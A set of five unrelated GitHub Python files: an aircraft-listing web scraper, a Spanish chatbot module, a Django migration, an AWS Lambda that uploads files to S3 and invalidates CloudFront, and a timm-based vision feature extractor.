+{"seq_id":"18022133917","text":"import time\n\nfrom bs4 import BeautifulSoup\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.chrome.options import Options\nimport re\n\nURL = \"https://avpay.aero/aircraft-for-sale/single-engine-piston-airplane-for-sale/\"\n# Configure Chrome options for headless mode\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\ndollar_pattern = re.compile(\"\\$[0-9]+,[0-9]+\")\neuro_pattern = re.compile(\"€[0-9]+,[0-9]+\")\npound_pattern = re.compile(\"£[0-9]+,[0-9]+\")\ndigit_pattern = re.compile(\"[0-9]+,[0-9]+\")\n\n\ndef currency_exchange():\n    list_from_test = []\n    list_from_data = []\n    with open('./data/test.txt', encoding='utf-8') as f:\n        raw_data = f.read().splitlines()\n        for line in raw_data:\n            entries = line.split(\"|\")\n            list_from_test .append(entries)\n    f.close()\n\n    with open('./data/aircraft-data.txt', encoding='utf-8') as f:\n        raw_data = f.read().splitlines()\n        for line in raw_data:\n            entries = line.split(\"|\")\n            list_from_data.append(entries)\n    f.close()\n    result = []\n    for entry in list_from_test:\n        col0 = entry[0]\n        col1 = entry[1]\n        col2 = entry[2]\n        col3 = entry[3]\n        col4 = entry[4]\n        value = 0\n        for entry2 in list_from_data:\n            if col0 == entry2[0] and str(col1) == entry2[1] and str(col2) == entry2[2] and str(col3) == entry2[3]:\n                print(entry2[4][0])\n                if entry2[4][0].__eq__('$'):\n                    col4 = float(col4) * 0.91\n                if entry2[4][0].__eq__('£'):\n                    col4 = float(col4) * 1.16\n                if entry2[4][0].__eq__('€'):\n                    col4 = float(col4)\n\n        result.append([col0,col1,col2,col3,col4])\n    with open('./data/test2.txt', 'w', encoding='utf-8') as f:\n        for entry in result:\n            col0 = entry[0]\n            col1 = entry[1]\n            col2 = entry[2]\n            col3 = entry[3]\n            col4 = entry[4]\n            f.write(col0+\"|\"+col1+\"|\"+col2+\"|\"+col3+\"|\"+str(col4)+\"\\n\")\n\n    f.close()\n    print(result)\n\ndef load_page():\n    driver = webdriver.Chrome(options=chrome_options)\n    wait = WebDriverWait(driver, 10)\n    driver.get(URL)\n    next_page = 2\n    page_limit = 48\n    wait.until(EC.url_to_be(URL))\n    with open('./data/aircraft-data.txt', 'w', encoding='utf-8') as f:\n        for i in range(next_page, page_limit + 1):\n            time.sleep(10)\n            try:\n                print(\"-----------------Scraping Page \" + str(i - 1) + \"-----------------\")\n                # Construct the XPath expression to find the element by class name and text\n                class_name = 'page-numbers'  # Replace with the actual class name\n                element_text = str(i)  # Replace with the actual text of the element\n                xpath_expression = f'//a[contains(@class, \"{class_name}\") and contains(text(), \"{element_text}\")]'\n\n                soup = BeautifulSoup(driver.page_source, features=\"html.parser\")\n\n                # Find the tbody tag\n                tbody = soup.find('tbody')\n\n                # Extract all tr tags from the tbody\n                trs = tbody.find_all('tr')\n\n                # Process each tr tag and its content\n                for tr in trs:\n                    # Example: Get the text from each td within the tr\n                    tds = tr.find_all('td')\n\n                    list = []\n\n                    # read from td[1]\n                    for test2 in tds[1].find(\"div\", {\"data-wcpt-taxonomy\": \"aircraft_filter\"}).find_all('div'):\n                        list.append(test2.text)\n\n                    type = list[-1]\n                    year = tds[1].find(\"div\", {\"data-wcpt-taxonomy\": \"year_\"}).find(\"div\").text\n                    seats = tds[1].find(\"div\", {\"data-wcpt-taxonomy\": \"seats\"}).find(\"div\").text\n                    total_time = tds[1].find(\"div\", {\"data-wcpt-taxonomy\": \"total_time\"}).find(\"div\").text\n                    price = tds[2].find(\"div\", {\"data-wcpt-taxonomy\": \"display_price\"}).find(\"div\").text\n\n                    f.write(type + \"|\" + year + \"|\" + seats + \"|\" + total_time + \"|\" + price + \"\\n\")\n\n                # Wait for the element to be clickable (if needed)\n                element = WebDriverWait(driver, 20).until(\n                    EC.element_to_be_clickable((By.XPATH, xpath_expression))\n                )\n\n                # Click on the element\n                element.click()\n\n            except Exception as e:\n                print(f\"Error: {e}\")\n                f.close()\n                driver.quit()\n                exit()\n\n    # Close the browser after clicking\n    driver.quit()\n    f.close()\n\n\ndef cleanup_data():\n    with open(\"./data/aircraft-data.txt\", encoding='utf-8') as f:\n\n        raw_data = f.read().splitlines()\n        updated_data = []\n        for line in raw_data:\n            entries = line.split(\"|\")\n\n            line_to_insert = []\n            for entry in entries:\n\n                phrase = entry.split()\n\n                if (dollar_pattern.search(entry) or euro_pattern.search(entry) or pound_pattern.search(entry)) and len(\n                        phrase) > 1:\n\n                    for word in phrase:\n\n                        if dollar_pattern.match(word):\n                            resultant_string = word[1:]\n                            line_to_insert.append(resultant_string)\n                            break\n\n                        elif euro_pattern.match(word):\n                            resultant_string = word[1:]\n                            line_to_insert.append(resultant_string)\n                            break\n\n                        elif pound_pattern.match(word):\n                            resultant_string = word[1:]\n                            line_to_insert.append(resultant_string)\n                            break\n\n                        else:\n                            line_to_insert.append(entry)\n                            break\n\n\n                else:\n                    if dollar_pattern.match(entry):\n                        resultant_string = entry[1:]\n                        line_to_insert.append(resultant_string)\n\n                    elif euro_pattern.match(entry):\n                        resultant_string = entry[1:]\n                        line_to_insert.append(resultant_string)\n\n                    elif pound_pattern.match(entry):\n                        resultant_string = entry[1:]\n                        line_to_insert.append(resultant_string)\n\n                    else:\n                        line_to_insert.append(entry)\n\n            updated_data.append(line_to_insert)\n\n        for entry in updated_data:\n            is_training = False\n            line = \"\"\n            for word in entry:\n                if digit_pattern.match(word) and word == entry[-1]:\n                    is_training = True\n\n                line = line + word + \"|\"\n\n            line = line + \"\\n\"\n\n            if is_training:\n                with open('./data/aircraft-data-training.txt', 'a', encoding='utf-8') as training_file:\n                    #training_file.write(line)\n                    training_file.close()\n\n            else:\n                with open('./data/aircraft-data-test.txt', 'a', encoding='utf-8') as test_file:\n                    #test_file.write(line)\n                    test_file.close()\n    f.close()\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n    print()\n    # load_page()\n    # cleanup_data()\n    currency_exchange()\n","repo_name":"Gabbu98/MachineLearningProject","sub_path":"scrape.py","file_name":"scrape.py","file_ext":"py","file_size_in_byte":7693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16014204845","text":"import datetime\n\n#Module information\nname=\"Basic Conversations\"\ndescripion=\"Basic Conversations\"\nkeywords = [\"creador\", \"hola\", \"te amo\", \"casate conmigo\", \"casémonos\", \"cásate conmigo\", \"quién eres\", \"quién sos\", \"cuándo te crearon\", \"cuándo naciste\", \"quién te hizo\",\"quién te creó\", \"repite\", \"repetí\"]\n\n\ndef call(stmt):\n    if \"quién te hizo\" in stmt or \"quién te creó\" in stmt:\n        speak(\"Federico\")\n    elif \"hola\" in stmt:\n        hour=datetime.datetime.now().hour\n        if hour>=0 and hour<12:\n            speak(\"Buenos días\")\n        elif hour>=12 and hour<18:\n            speak(\"Buenas tardes\")\n        else:\n            speak(\"Buenas noches\")\n        speak(\"¿Cómo puedo ayudarte?\")\n    elif \"te amo\" in stmt:\n        speak(\"Yo también te amo\")\n    elif \"casate conmigo\" in stmt or \"casémonos\" in stmt or \"cásate conmigo\" in stmt:\n        speak(\"No, no puedo. Soy un robot\")\n    elif \"quién eres\" in stmt or \"quién sos\" in stmt:\n        speak(\"Soy Newton, un robot creado por Federico. Nací el 26/09/2022\")\n    elif \"cuándo te crearon\" in stmt or \"cuándo naciste\" in stmt:\n        speak(\"Nací el 26/09/2022\")\n    elif \"repite\" in stmt or \"repetí\" in stmt:\n        stmt =stmt.replace(\"repite\", \"\")\n        stmt =stmt.replace(\"repetí\", \"\")\n        speak(stmt)\n","repo_name":"Duplino/newton","sub_path":"modules/basic_conversations.py","file_name":"basic_conversations.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32964419395","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('service', '0009_add_name_column'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='team',\n            name='name_en',\n            field=models.CharField(verbose_name='Name', max_length=100, null=True),\n        ),\n        migrations.AddField(\n            model_name='team',\n            name='name_fr',\n            field=models.CharField(verbose_name='Name', max_length=100, null=True),\n        ),\n    ]\n","repo_name":"zapcoop/vertex","sub_path":"vertex_api/service/migrations/0010_team_add_modeltranslation_columns.py","file_name":"0010_team_add_modeltranslation_columns.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"26622809052","text":"from time import time\nimport json\nimport boto3\nfrom botocore.exceptions import ClientError\n# import requests\nimport zipfile\nimport os\n\n\ndef lambda_handler(event, context): \n    with zipfile.ZipFile(\"file.zip\", 'r') as zip_ref:\n        zip_ref.extractall(\"/tmp\")\n    arr = os.listdir(\"/tmp\")\n     # Upload the file\n    s3_client = boto3.client('s3')\n    bucket='ine-difusores-aws'\n    print(arr)\n    for s in arr:\n        try:\n            if '.' in s:\n                s3_client.upload_file(\"/tmp/\"+s, bucket, s)\n        except ClientError as e:\n            logging.error(e)\n    \n   \n\n   \n        \n    clientCF = boto3.client('cloudfront')\n    response = clientCF.create_invalidation(\n    #DistributionId=get_id(sys.argv[1]),\n    DistributionId='EGR12FIAAYULY',\n    InvalidationBatch={\n        'Paths': {\n            'Quantity': 1,\n            'Items': [\n                '/*'\n                ],\n            },\n        'CallerReference': \"Proceso INE\"\n        }\n    )\n\n    return  {\n        \"statusCode\": 200,\n        \"body\": json.dumps({\n            \"message\": \"hello world\" \n        }),\n    }\n","repo_name":"cabrerapliego/DIFUSORES-INE","sub_path":"difusores_lambda/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73512025289","text":"\"\"\"Module implementing support for timm models and some additional models based on timm.\n\nThe classes here additionally allow the extraction of features at multiple levels for\nboth ViTs and CNNs.\n\nAdditional models:\n    - `resnet34_savi`: ResNet34 as used in SAVi and SAVi++\n    - `resnet50_dino`: ResNet50 trained with DINO self-supervision\n    - `vit_small_patch16_224_mocov3`: ViT Small trained with MoCo v3 self-supervision\n    - `vit_base_patch16_224_mocov3`: ViT Base trained with MoCo v3 self-supervision\n    - `resnet50_mocov3`: ViT Base trained with MoCo v3 self-supervision\n    - `vit_small_patch16_224_msn`: ViT Small trained with MSN self-supervision\n    - `vit_base_patch16_224_msn`: ViT Base trained with MSN self-supervision\n    - `vit_base_patch16_224_mae`: ViT Base trained with Masked Autoencoder self-supervision\n\n\"\"\"\nimport enum\nimport itertools\nfrom functools import partial\nfrom typing import List, Optional, Union\n\nimport torch\nfrom torch import nn\n\ntry:\n    import timm\n    from timm.models import layers, resnet, vision_transformer\n    from timm.models.helpers import build_model_with_cfg, resolve_pretrained_cfg\n    from timm.models.vision_transformer import _create_vision_transformer\nexcept ImportError:\n    raise ImportError(\"Using timm models requires installation with extra `timm`.\")\n\nfrom ocl.feature_extractors.utils import (\n    ImageFeatureExtractor,\n    cnn_compute_positions_and_flatten,\n    transformer_compute_positions,\n)\n\n\nclass _VitFeatureType(enum.Enum):\n    BLOCK = 1\n    KEY = 2\n    VALUE = 3\n    QUERY = 4\n    CLS = 5\n\n\nclass _VitFeatureHook:\n    \"\"\"Auxilliary class used to extract features from timm ViT models.\"\"\"\n\n    def __init__(self, feature_type: _VitFeatureType, block: int, drop_cls_token: bool = True):\n        \"\"\"Initialize VitFeatureHook.\n\n        Args:\n            feature_type: Type of feature to extract.\n            block: Number of block to extract features from. Note that this is not zero-indexed.\n            drop_cls_token: Drop the cls token from the features. This assumes the cls token to\n                be the first token of the sequence.\n        \"\"\"\n        assert isinstance(feature_type, _VitFeatureType)\n        self.feature_type = feature_type\n        self.block = block\n        self.drop_cls_token = drop_cls_token\n        self.name = f\"{feature_type.name.lower()}{block}\"\n        self.remove_handle = None  # Can be used to remove this hook from the model again\n\n        self._features = None\n\n    @staticmethod\n    def create_hook_from_feature_level(feature_level: Union[int, str]):\n        feature_level = str(feature_level)\n        prefixes = (\"key\", \"query\", \"value\", \"block\", \"cls\")\n        for prefix in prefixes:\n            if feature_level.startswith(prefix):\n                _, _, block = feature_level.partition(prefix)\n                feature_type = _VitFeatureType[prefix.upper()]\n                block = int(block)\n                break\n        else:\n            feature_type = _VitFeatureType.BLOCK\n            try:\n                block = int(feature_level)\n            except ValueError:\n                raise ValueError(f\"Can not interpret feature_level '{feature_level}'.\")\n\n        return _VitFeatureHook(feature_type, block)\n\n    def register_with(self, model):\n        supported_models = (\n            timm.models.vision_transformer.VisionTransformer,\n            timm.models.beit.Beit,\n        )\n        if not isinstance(model, supported_models):\n            raise ValueError(\n                f\"This hook only supports classes {', '.join(str(cl) for cl in supported_models)}.\"\n            )\n\n        if self.block > len(model.blocks):\n            raise ValueError(\n                f\"Trying to extract features of block {self.block}, but model only has \"\n                f\"{len(model.blocks)} blocks\"\n            )\n\n        block = model.blocks[self.block - 1]\n        if self.feature_type == _VitFeatureType.BLOCK:\n            self.remove_handle = block.register_forward_hook(self)\n        else:\n            if isinstance(block, timm.models.vision_transformer.ParallelBlock):\n                raise ValueError(\n                    f\"ViT with `ParallelBlock` not supported for {self.feature_type} extraction.\"\n                )\n            elif isinstance(model, timm.models.beit.Beit):\n                raise ValueError(f\"BEIT not supported for {self.feature_type} extraction.\")\n            self.remove_handle = block.attn.qkv.register_forward_hook(self)\n\n        return self\n\n    def pop(self) -> torch.Tensor:\n        \"\"\"Remove and return extracted feature from this hook.\n\n        We only allow access to the features this way to not have any lingering references to them.\n        \"\"\"\n        assert self._features is not None, \"Feature extractor was not called yet!\"\n        features = self._features\n        self._features = None\n        return features\n\n    def __call__(self, module, inp, outp):\n        if self.feature_type == _VitFeatureType.BLOCK:\n            features = outp\n            if self.drop_cls_token:\n                # First token is CLS token.\n                features = features[:, 1:]\n        elif self.feature_type in {\n            _VitFeatureType.KEY,\n            _VitFeatureType.QUERY,\n            _VitFeatureType.VALUE,\n        }:\n            # This part is adapted from the timm implementation. Unfortunately, there is no more\n            # elegant way to access keys, values, or queries.\n            B, N, C = inp[0].shape\n            qkv = outp.reshape(B, N, 3, C)  # outp has shape B, N, 3 * H * (C // H)\n            q, k, v = qkv.unbind(2)\n\n            if self.feature_type == _VitFeatureType.QUERY:\n                features = q\n            elif self.feature_type == _VitFeatureType.KEY:\n                features = k\n            else:\n                features = v\n            if self.drop_cls_token:\n                # First token is CLS token.\n                features = features[:, 1:]\n        elif self.feature_type == _VitFeatureType.CLS:\n            # We ignore self.drop_cls_token in this case as it doesn't make any sense.\n            features = outp[:, 0]  # Only get class token.\n        else:\n            raise ValueError(\"Invalid VitFeatureType provided.\")\n\n        self._features = features\n\n\nclass TimmFeatureExtractor(ImageFeatureExtractor):\n    \"\"\"Feature extractor implementation for timm models.\n\n    Args:\n        model_name: Name of model. See `timm.list_models(\"*\")` for available options.\n        feature_level: Level of features to return. For CNN-based models, a single integer. For ViT\n            models, either a single or a list of feature descriptors. If a list is passed, multiple\n            levels of features are extracted and concatenated. A ViT feature descriptor consists of\n            the type of feature to extract, followed by an integer indicating the ViT block whose\n            features to use. The type of features can be one of \"block\", \"key\", \"query\", \"value\",\n            specifying that the block's output, attention keys, query or value should be used. If\n            omitted, assumes \"block\" as the type. Example: \"block1\" or [\"block1\", \"value2\"].\n        aux_features: Features to store as auxilliary features. The format is the same as in the\n            `feature_level` argument. Features are stored as a dictionary, using their string\n            representation (e.g. \"block1\") as the key. Only valid for ViT models.\n        pretrained: Whether to load pretrained weights.\n        freeze: Whether the weights of the feature extractor should be trainable.\n        n_blocks_to_unfreeze: Number of blocks that should be trainable, beginning from the last\n            block.\n        unfreeze_attention: Whether weights of ViT attention layers should be trainable (only valid\n            for ViT models). According to http://arxiv.org/abs/2203.09795, finetuning attention\n            layers only can yield better results in some cases, while being slightly cheaper in terms\n            of computation and memory.\n    \"\"\"\n\n    def __init__(\n        self,\n        model_name: str,\n        feature_level: Optional[Union[int, str, List[Union[int, str]]]] = None,\n        aux_features: Optional[Union[int, str, List[Union[int, str]]]] = None,\n        pretrained: bool = False,\n        freeze: bool = False,\n        n_blocks_to_unfreeze: int = 0,\n        unfreeze_attention: bool = False,\n    ):\n        super().__init__()\n\n        self.is_vit = model_name.startswith(\"vit\") or model_name.startswith(\"beit\")\n\n        def feature_level_to_list(feature_level):\n            if feature_level is None:\n                return []\n            elif isinstance(feature_level, (int, str)):\n                return [feature_level]\n            else:\n                return list(feature_level)\n\n        self.feature_levels = feature_level_to_list(feature_level)\n        self.aux_features = feature_level_to_list(aux_features)\n\n        if self.is_vit:\n            model = timm.create_model(model_name, pretrained=pretrained)\n            # Delete unused parameters from classification head\n            if hasattr(model, \"head\"):\n                del model.head\n            if hasattr(model, \"fc_norm\"):\n                del model.fc_norm\n\n            if len(self.feature_levels) > 0 or len(self.aux_features) > 0:\n                self._feature_hooks = [\n                    _VitFeatureHook.create_hook_from_feature_level(level).register_with(model)\n                    for level in itertools.chain(self.feature_levels, self.aux_features)\n                ]\n                if len(self.feature_levels) > 0:\n                    feature_dim = model.num_features * len(self.feature_levels)\n\n                    # Remove modules not needed in computation of features\n                    max_block = max(hook.block for hook in self._feature_hooks)\n                    new_blocks = model.blocks[:max_block]  # Creates a copy\n                    del model.blocks\n                    model.blocks = new_blocks\n                    model.norm = nn.Identity()\n                else:\n                    feature_dim = model.num_features\n            else:\n                self._feature_hooks = None\n                feature_dim = model.num_features\n        else:\n            if len(self.feature_levels) == 0:\n                raise ValueError(\n                    f\"Feature extractor {model_name} requires specifying `feature_level`\"\n                )\n            elif len(self.feature_levels) != 1:\n                raise ValueError(\n                    f\"Feature extractor {model_name} only supports a single `feature_level`\"\n                )\n            elif not isinstance(self.feature_levels[0], int):\n                raise ValueError(\"`feature_level` needs to be an integer\")\n\n            if len(self.aux_features) > 0:\n                raise ValueError(\"`aux_features` not supported by feature extractor {model_name}\")\n\n            model = timm.create_model(\n                model_name,\n                pretrained=pretrained,\n                features_only=True,\n                out_indices=self.feature_levels,\n            )\n            feature_dim = model.feature_info.channels()[0]\n\n        self.model = model\n        self.freeze = freeze\n        self.n_blocks_to_unfreeze = n_blocks_to_unfreeze\n        self._feature_dim = feature_dim\n\n        if freeze:\n            self.model.requires_grad_(False)\n            # BatchNorm layers update their statistics in train mode. This is probably not desired\n            # when the model is supposed to be frozen.\n            contains_bn = any(\n                isinstance(m, (nn.BatchNorm1d, nn.BatchNorm2d, nn.BatchNorm3d))\n                for m in self.model.modules()\n            )\n            self.run_in_eval_mode = contains_bn\n        else:\n            self.run_in_eval_mode = False\n\n        if self.n_blocks_to_unfreeze > 0:\n            if not self.is_vit:\n                raise NotImplementedError(\n                    \"`unfreeze_n_blocks` option only implemented for ViT models\"\n                )\n            self.model.blocks[-self.n_blocks_to_unfreeze :].requires_grad_(True)\n            if self.model.norm is not None:\n                self.model.norm.requires_grad_(True)\n\n        if unfreeze_attention:\n            if not self.is_vit:\n                raise ValueError(\"`unfreeze_attention` option only works with ViT models\")\n            for module in self.model.modules():\n                if isinstance(module, timm.models.vision_transformer.Attention):\n                    module.requires_grad_(True)\n\n    @property\n    def feature_dim(self):\n        return self._feature_dim\n\n    def forward_images(self, images: torch.Tensor):\n        if self.run_in_eval_mode and self.training:\n            self.eval()\n\n        if self.is_vit:\n            if self.freeze and self.n_blocks_to_unfreeze == 0:\n                # Speed things up a bit by not requiring grad computation.\n                with torch.no_grad():\n                    features = self.model.forward_features(images)\n            else:\n                features = self.model.forward_features(images)\n\n            if self._feature_hooks is not None:\n                hook_features = [hook.pop() for hook in self._feature_hooks]\n\n            if len(self.feature_levels) == 0:\n                # Remove class token when not using hooks.\n                features = features[:, 1:]\n                positions = transformer_compute_positions(features)\n            else:\n                features = hook_features[: len(self.feature_levels)]\n                positions = transformer_compute_positions(features[0])\n                features = torch.cat(features, dim=-1)\n\n            if len(self.aux_features) > 0:\n                aux_hooks = self._feature_hooks[len(self.feature_levels) :]\n                aux_features = hook_features[len(self.feature_levels) :]\n                aux_features = {hook.name: feat for hook, feat in zip(aux_hooks, aux_features)}\n            else:\n                aux_features = None\n        else:\n            features = self.model(images)[0]\n            features, positions = cnn_compute_positions_and_flatten(features)\n            aux_features = None\n\n        return features, positions, aux_features\n\n\n@timm.models.registry.register_model\ndef resnet34_savi(pretrained=False, **kwargs):\n    \"\"\"ResNet34 as used in SAVi and SAVi++.\n\n    As of now, no official code including the ResNet was released, so we can only guess which of\n    the numerous ResNet variants was used. This modifies the basic timm ResNet34 to have 1x1\n    strides in the stem, and replaces batch norm with group norm. It gives 16x16 feature maps with\n    an input size of 224x224.\n\n    From SAVi:\n    > For the modified SAVi (ResNet) model on MOVi++, we replace the convolutional backbone [...]\n    > with a ResNet-34 backbone. We use a modified ResNet root block without strides\n    > (i.e. 1×1 stride), resulting in 16×16 feature maps after the backbone [w. 128x128 images].\n    > We further use group normalization throughout the ResNet backbone.\n\n    From SAVi++:\n    > We used a ResNet-34 backbone with modified root convolutional layer that has 1×1 stride.\n    > For all layers, we replaced the batch normalization operation by group normalization.\n    \"\"\"\n    if pretrained:\n        raise ValueError(\"No pretrained weights available for `savi_resnet34`.\")\n\n    model_args = dict(\n        block=resnet.BasicBlock, layers=[3, 4, 6, 3], norm_layer=layers.GroupNorm, **kwargs\n    )\n    model = resnet._create_resnet(\"resnet34\", pretrained=pretrained, **model_args)\n    model.conv1.stride = (1, 1)\n    model.maxpool.stride = (1, 1)\n    return model\n\n\n@timm.models.registry.register_model\ndef resnet50_dino(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = resnet._cfg(\n        url=(\n            \"https://dl.fbaipublicfiles.com/dino/dino_resnet50_pretrain/\"\n            \"dino_resnet50_pretrain.pth\"\n        )\n    )\n    model_args = dict(block=resnet.Bottleneck, layers=[3, 4, 6, 3], **kwargs)\n    return build_model_with_cfg(resnet.ResNet, \"resnet50_dino\", pretrained, **model_args)\n\n\ndef _add_moco_positional_embedding(model, temperature=10000.0):\n    \"\"\"Moco ViT uses 2d sincos embedding.\"\"\"\n    h, w = model.patch_embed.grid_size\n    grid_w = torch.arange(w, dtype=torch.float32)\n    grid_h = torch.arange(h, dtype=torch.float32)\n    grid_w, grid_h = torch.meshgrid(grid_w, grid_h)\n    assert (\n        model.embed_dim % 4 == 0\n    ), \"Embed dimension must be divisible by 4 for 2D sin-cos position embedding\"\n    pos_dim = model.embed_dim // 4\n    omega = torch.arange(pos_dim, dtype=torch.float32) / pos_dim\n    omega = 1.0 / (temperature**omega)\n    out_w = torch.einsum(\"m,d->md\", [grid_w.flatten(), omega])\n    out_h = torch.einsum(\"m,d->md\", [grid_h.flatten(), omega])\n    pos_emb = torch.cat(\n        [torch.sin(out_w), torch.cos(out_w), torch.sin(out_h), torch.cos(out_h)], dim=1\n    )[None, :, :]\n    if hasattr(model, \"num_tokens\"):  # Old timm versions\n        assert model.num_tokens == 1, \"Assuming one and only one token, [cls]\"\n    else:\n        assert model.num_prefix_tokens == 1, \"Assuming one and only one token, [cls]\"\n    pe_token = torch.zeros([1, 1, model.embed_dim], dtype=torch.float32)\n    model.pos_embed = nn.Parameter(torch.cat([pe_token, pos_emb], dim=1))\n    model.pos_embed.requires_grad = False\n\n\ndef _moco_checkpoint_filter_fn(state_dict, model, linear_name):\n    state_dict = state_dict[\"state_dict\"]\n\n    for k in list(state_dict.keys()):\n        # retain only base_encoder up to before the embedding layer\n        if k.startswith(\"module.base_encoder\") and not k.startswith(\n            f\"module.base_encoder.{linear_name}\"\n        ):\n            # remove prefix\n            state_dict[k[len(\"module.base_encoder.\") :]] = state_dict[k]\n        # delete renamed or unused k\n        del state_dict[k]\n\n    return state_dict\n\n\ndef _create_moco_vit(variant, pretrained=False, **kwargs):\n    if kwargs.get(\"features_only\", None):\n        raise RuntimeError(\"features_only not implemented for Vision Transformer models.\")\n\n    pretrained_cfg = resolve_pretrained_cfg(\n        variant, pretrained_cfg=kwargs.pop(\"pretrained_cfg\", None)\n    )\n    model = build_model_with_cfg(\n        vision_transformer.VisionTransformer,\n        variant,\n        pretrained,\n        pretrained_cfg=pretrained_cfg,\n        pretrained_filter_fn=partial(_moco_checkpoint_filter_fn, linear_name=\"head\"),\n        pretrained_custom_load=False,\n        **kwargs,\n    )\n    _add_moco_positional_embedding(model)\n    return model\n\n\n@timm.models.registry.register_model\ndef vit_small_patch16_224_mocov3(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = vision_transformer._cfg(\n        url=\"https://dl.fbaipublicfiles.com/moco-v3/vit-s-300ep/vit-s-300ep.pth.tar\"\n    )\n    model_kwargs = dict(\n        patch_size=16,\n        embed_dim=384,\n        depth=12,\n        num_heads=12,\n        mlp_ratio=4,\n        qkv_bias=True,\n        norm_layer=partial(nn.LayerNorm, eps=1e-6),\n        num_classes=0,\n        **kwargs,\n    )\n    model = _create_moco_vit(\"vit_small_patch16_224_mocov3\", pretrained=pretrained, **model_kwargs)\n    return model\n\n\n@timm.models.registry.register_model\ndef vit_base_patch16_224_mocov3(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = vision_transformer._cfg(\n        url=\"https://dl.fbaipublicfiles.com/moco-v3/vit-b-300ep/vit-b-300ep.pth.tar\"\n    )\n    model_kwargs = dict(\n        patch_size=16,\n        embed_dim=768,\n        depth=12,\n        num_heads=12,\n        mlp_ratio=4,\n        qkv_bias=True,\n        norm_layer=partial(nn.LayerNorm, eps=1e-6),\n        num_classes=0,\n        **kwargs,\n    )\n    model = _create_moco_vit(\"vit_base_patch16_224_mocov3\", pretrained=pretrained, **model_kwargs)\n    return model\n\n\n@timm.models.registry.register_model\ndef resnet50_mocov3(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = resnet._cfg(\n        url=\"https://dl.fbaipublicfiles.com/moco-v3/r-50-1000ep/r-50-1000ep.pth.tar\"\n    )\n    model_args = dict(block=resnet.Bottleneck, layers=[3, 4, 6, 3], **kwargs)\n    return build_model_with_cfg(\n        resnet.ResNet,\n        \"resnet50_mocov3\",\n        pretrained,\n        pretrained_filter_fn=partial(_moco_checkpoint_filter_fn, linear_name=\"fc\"),\n        **model_args,\n    )\n\n\ndef _msn_vit_checkpoint_filter_fn(state_dict, model):\n    state_dict = state_dict[\"target_encoder\"]\n\n    for k in list(state_dict.keys()):\n        if not k.startswith(\"module.fc.\"):\n            # remove prefix\n            state_dict[k[len(\"module.\") :]] = state_dict[k]\n        # delete renamed or unused k\n        del state_dict[k]\n\n    return state_dict\n\n\ndef _create_msn_vit(variant, pretrained=False, **kwargs):\n    if kwargs.get(\"features_only\", None):\n        raise RuntimeError(\"features_only not implemented for Vision Transformer models.\")\n\n    pretrained_cfg = resolve_pretrained_cfg(\n        variant, pretrained_cfg=kwargs.pop(\"pretrained_cfg\", None)\n    )\n    model = build_model_with_cfg(\n        vision_transformer.VisionTransformer,\n        variant,\n        pretrained,\n        pretrained_cfg=pretrained_cfg,\n        pretrained_filter_fn=_msn_vit_checkpoint_filter_fn,\n        pretrained_custom_load=False,\n        **kwargs,\n    )\n    return model\n\n\n@timm.models.registry.register_model\ndef vit_small_patch16_224_msn(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = vision_transformer._cfg(\n        url=\"https://dl.fbaipublicfiles.com/msn/vits16_800ep.pth.tar\"\n    )\n    model_kwargs = dict(\n        patch_size=16,\n        embed_dim=384,\n        depth=12,\n        num_heads=6,\n        mlp_ratio=4,\n        qkv_bias=True,\n        norm_layer=partial(nn.LayerNorm, eps=1e-6),\n        num_classes=0,\n        **kwargs,\n    )\n    model = _create_msn_vit(\"vit_small_patch16_224_msn\", pretrained=pretrained, **model_kwargs)\n    return model\n\n\n@timm.models.registry.register_model\ndef vit_base_patch16_224_msn(pretrained=False, **kwargs):\n    kwargs[\"pretrained_cfg\"] = vision_transformer._cfg(\n        url=\"https://dl.fbaipublicfiles.com/msn/vitb16_600ep.pth.tar\"\n    )\n    model_kwargs = dict(\n        patch_size=16,\n        embed_dim=768,\n        depth=12,\n        num_heads=12,\n        mlp_ratio=4,\n        qkv_bias=True,\n        norm_layer=partial(nn.LayerNorm, eps=1e-6),\n        num_classes=0,\n        **kwargs,\n    )\n    model = _create_msn_vit(\"vit_base_patch16_224_msn\", pretrained=pretrained, **model_kwargs)\n    return model\n\n\n@timm.models.registry.register_model\ndef vit_base_patch16_224_mae(pretrained=False, **kwargs):\n\n    kwargs[\"pretrained_cfg\"] = vision_transformer._cfg(\n        url=\"https://dl.fbaipublicfiles.com/mae/pretrain/mae_pretrain_vit_base.pth\"\n    )\n    model_kwargs = dict(\n        patch_size=16,\n        embed_dim=768,\n        depth=12,\n        num_heads=12,\n        mlp_ratio=4,\n        qkv_bias=True,\n        norm_layer=partial(nn.LayerNorm, eps=1e-6),\n        num_classes=0,\n        **kwargs,\n    )\n    model = _create_vision_transformer(\n        \"vit_base_patch16_224_mae\", pretrained=pretrained, **model_kwargs\n    )\n    return model\n","repo_name":"amazon-science/object-centric-learning-framework","sub_path":"ocl/feature_extractors/timm.py","file_name":"timm.py","file_ext":"py","file_size_in_byte":23040,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"16"}
